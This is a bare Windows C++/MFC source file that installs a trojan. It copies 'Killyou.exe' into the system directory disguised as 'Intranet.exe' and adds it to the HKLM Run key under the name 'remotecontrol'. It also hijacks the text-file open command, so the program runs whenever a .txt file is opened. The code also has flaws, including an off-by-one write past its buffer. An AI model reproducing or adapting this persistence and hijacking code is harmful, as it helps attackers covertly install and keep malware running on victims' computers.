#include <TCHAR.h>
#include <iostream.h>
#include <afx.h>
#ifdef MAX_PATH
#undef MAX_PATH
#define MAX_PATH 100
#endif
int main()
{
TCHAR TempPath[MAX_PATH];
CString temp;
::GetSystemDirectory(TempPath,MAX_PATH);
temp=TempPath;
temp=temp+_T("\\Intranet.exe");
int len=temp.GetLength();
LPBYTE lpb=new BYTE[len];
for(int j=0;j<len;j++)
{
lpb[j]=temp[j];
}
lpb[j]=0;
if(!CopyFile("Killyou.exe",temp,FALSE))
{
LPVOID lpMsgBuf;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,/*==1=GetLasError()*/ GetLastError(),MAKELANGID(LANG_NEUTRAL,SUBLANG_DEFAULT),(LPTSTR)&lpMsgBuf,0,NULL);
MessageBox(NULL,(LPTSTR)&lpMsgBuf,"Error",MB_OK);
LocalFree(lpMsgBuf);
}
HKEY hKey;
LPCTSTR data_Set="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
::RegOpenKeyEx(HKEY_LOCAL_MACHINE,data_Set,0,KEY_WRITE,&hKey);
::RegSetValueEx(hKey,_T("remotecontrol"),NULL,REG_SZ,lpb,len);
::RegCloseKey(hKey);
//==2=data_Set="txtfile\\shell\\open\\command"
data_Set="txtfile\\shell\\open\\command"; // “;”
::RegOpenKeyEx(HKEY_CLASSES_ROOT,data_Set,0,KEY_WRITE,&hKey);
::RegSetValueEx(hKey,NULL,NULL,REG_EXPAND_SZ,lpb,len);
::RegCloseKey(hKey);
//==3=dalete []lpb;
delete []lpb;
return 0;
}